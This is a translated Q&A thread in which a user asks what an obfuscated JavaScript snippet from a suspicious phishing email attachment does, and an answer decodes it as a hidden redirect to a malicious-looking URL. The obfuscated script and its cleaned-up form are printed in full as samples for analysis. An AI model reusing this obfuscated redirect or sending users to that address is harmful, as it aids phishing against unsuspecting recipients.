这个可疑的网络钓鱼代码有什么作用？

Question

我的一些非IT同事在电子邮件中打开了一个非常可疑的.html附件.当看起来运行了一些javascript代码时,它导致了一个空白屏幕.

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

它做了什么？这超出了我的编程知识范围.

Answer 1

它会重定向到一个网址," http://lendermedia.com/images/z.htm "(请自行承担风险).

将代码复制并粘贴到有价值的JavaScript编辑器中,然后为您格式化源代码.

关键点:

var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');

h将等于' http://lendermedia.com/images/z.htm '

t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];

t 将包含对的引用 document.location

b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h;

名为hrefof 的属性b,此时(在另一个函数内)实际上t来自上述语句,设置为hurl.

大多数代码仅仅是噪音,实际功能包括:

function uK() {
};
uK.prototype = {
  f : function() {
    var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'
        .replace(/[\^H\!9X]/g, '');
    t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
    function x(b) {
      b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h;
    }
    x(t);
  }
};
var tL = new uK();
tL.f();